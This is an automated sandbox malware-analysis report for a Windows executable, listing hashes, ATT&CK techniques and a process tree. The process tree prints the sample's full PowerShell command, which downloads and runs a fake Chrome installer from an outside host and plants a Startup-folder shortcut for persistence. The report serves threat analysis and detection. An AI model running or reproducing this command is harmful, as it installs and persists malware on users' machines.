33dfe8712aa2410c613fe45cc1e37382d38b67abbed5f4c0ed7da1be9afac64a

Analysis

max time kernel
92s
max time network
94s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02/10/2024, 09:02

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General

Target

33dfe8712aa2410c613fe45cc1e37382d38b67abbed5f4c0ed7da1be9afac64a.exe
Size

93KB
MD5

06df89a6bc21b9b0cf50183333125520
SHA1

528f41c784dc52be0370bf3a855d04cc9502e3be
SHA256

33dfe8712aa2410c613fe45cc1e37382d38b67abbed5f4c0ed7da1be9afac64a
SHA512

d994cf52812509bab68dccbfd424c247a544c9368082f5ccb35170098fef7dfb46133ba2e003811aed982b7298be3b852aadb7906adf7010c3d9df6b1a752a22
SSDEEP

1536:smyDVnfv/E7nh9QMhPl0Ijo0mrUzCRY8t63hRjHG:smyDJ3/EvQ+P+ImrlRb4Rjm

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
21	1312	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1312	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tuygh.lnk	powershell.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1428	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1312	powershell.exe
1312	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1312	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4888 wrote to memory of 1312	4888	33dfe8712aa2410c613fe45cc1e37382d38b67abbed5f4c0ed7da1be9afac64a.exe	82
PID 4888 wrote to memory of 1312	4888	33dfe8712aa2410c613fe45cc1e37382d38b67abbed5f4c0ed7da1be9afac64a.exe	82
PID 4888 wrote to memory of 1264	4888	33dfe8712aa2410c613fe45cc1e37382d38b67abbed5f4c0ed7da1be9afac64a.exe	83
PID 4888 wrote to memory of 1264	4888	33dfe8712aa2410c613fe45cc1e37382d38b67abbed5f4c0ed7da1be9afac64a.exe	83
PID 1264 wrote to memory of 1428	1264	cmd.exe	86
PID 1264 wrote to memory of 1428	1264	cmd.exe	86

C:\Users\Admin\AppData\Local\Temp\33dfe8712aa2410c613fe45cc1e37382d38b67abbed5f4c0ed7da1be9afac64a.exe
"C:\Users\Admin\AppData\Local\Temp\33dfe8712aa2410c613fe45cc1e37382d38b67abbed5f4c0ed7da1be9afac64a.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Invoke-WebRequest -Uri \"https://apple-online.shop/ChromeSetup.exe\" -OutFile \"$env:TMP/ChromeSetup.exe\" ; & \"$env:TMP/ChromeSetup.exe\" ; $startupFolder = [System.IO.Path]::Combine($env:APPDATA, 'Microsoft\Windows\Start Menu\Programs\Startup') ; $programPath = 'C:\Users\Admin\AppData\Local\Temp\33dfe8712aa2410c613fe45cc1e37382d38b67abbed5f4c0ed7da1be9afac64a.exe' ; $shortcutName = 'tuygh.lnk' ; $shortcutPath = [System.IO.Path]::Combine($startupFolder, $shortcutName) ; $WshShell = New-Object -ComObject WScript.Shell ; $shortcut = $WshShell.CreateShortcut($shortcutPath) ; $shortcut.TargetPath = $programPath ; $shortcut.WorkingDirectory = [System.IO.Path]::GetDirectoryName($programPath) ; $shortcut.Save()"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1312
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c systeminfo
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1264
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:1428

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2s4sipuc.5p4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1312-0-0x00007FF8B3D13000-0x00007FF8B3D15000-memory.dmp

Filesize
8KB

Download
memory/1312-1-0x000001D82CD80000-0x000001D82CDA2000-memory.dmp

Filesize
136KB

Download
memory/1312-11-0x00007FF8B3D10000-0x00007FF8B47D1000-memory.dmp

Filesize
10.8MB

Download
memory/1312-12-0x00007FF8B3D10000-0x00007FF8B47D1000-memory.dmp

Filesize
10.8MB

Download
memory/1312-13-0x000001D847D00000-0x000001D8484A6000-memory.dmp

Filesize
7.6MB

Download
memory/1312-15-0x00007FF8B3D10000-0x00007FF8B47D1000-memory.dmp

Filesize
10.8MB

Download
memory/1312-16-0x00007FF8B3D10000-0x00007FF8B47D1000-memory.dmp

Filesize
10.8MB

Download
memory/1312-20-0x00007FF8B3D10000-0x00007FF8B47D1000-memory.dmp

Filesize
10.8MB

Download
memory/4888-21-0x00007FF683B20000-0x00007FF683B39000-memory.dmp

Filesize
100KB

Download
memory/4888-22-0x00007FF683B20000-0x00007FF683B39000-memory.dmp

Filesize
100KB

Download